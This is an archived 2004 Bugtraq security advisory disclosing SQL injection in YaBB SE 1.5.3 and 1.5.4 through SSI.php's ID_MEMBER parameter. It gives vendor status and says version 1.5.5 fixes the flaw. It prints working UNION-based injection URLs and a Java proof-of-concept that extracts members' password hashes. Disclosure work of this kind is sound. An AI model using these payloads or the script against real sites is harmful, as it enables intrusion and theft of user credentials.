lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 19 Jan 2004 18:06:19 +0100
From: "backspace" <backspace_2k@...ra.es>
To: "bugtraq" <bugtraq@...urityfocus.com>
Subject: Yabb SE SQL Injection


Summary:
YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another
bulletin board). An SQL Injection vulnerability in the product allows a
remote attacker to insert malicious SQL statements.

Details:
Vulnerable Systems:
Yabb Se version 1.5.4 (tested), 1.5.3(tested) maybe others

Immune Systems:
Yabb Se version 1.5.5

Technical Details:

the file SSI.php has a number of functions that return some information
about the status of the forum like recent topics, boards statistics and so
on. Functions welcome and recentTopics are vulnerable to SQL injection
because the parameter ID_MEMBER is not checked against malicious input.

Example:

http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=2)+WHERE+m.ID_MSG+IN+(2,1)+AND+t.ID_TOPIC=m.ID_TOPIC+AND+b.ID_BOARD=t.ID_BOARD+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

OR

http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=1)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=1)+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

those requests return a page showing all usernames and hashed passwords.

[General Discussion]  test post by test January 01, 2001, 03:00:01 pm
[]  admin by [hashed pass]  January 01, 1970, 01:00:01 am
[]  test_user by [hashed pass]  January 01, 1970, 01:00:02 am


http://vulnhost/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+,+0+FROM+yabbse_members+WHERE+ID_MEMBER=1/*

this request return the value of the first character from the realName of
the user whose ID_MEMBER is 1.

Proof of concept code:

/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;

public class yabb {
    public static void main(String[] args) throws Exception {

 boolean lastChar = false;
 String Key = "";

        for ( int count=1; count <= 32 ; count++)
        {
  URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

  BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));

  String inputLine;

  inputLine = in.readLine();

  int pos  = inputLine.indexOf("action=im");
  int pos2 = inputLine.indexOf(" ", pos + 11);

  if ( pos < 0 )
  {
   System.out.println("ERROR: The server doesn't return any data");
   System.exit(0);
  }

  String theNumber = inputLine.substring( pos + 11, pos2);

  System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
  Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
  in.close();
 }
 System.out.println("Hashed password : " + Key);
    }
}

Vendor status:
  The vendor was contacted and the vulnerabilities were fixed.

Solution:
  Upgrade to version 1.5.5

Credits:
Credits go to BackSpace



Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux - Powered by OpenVZ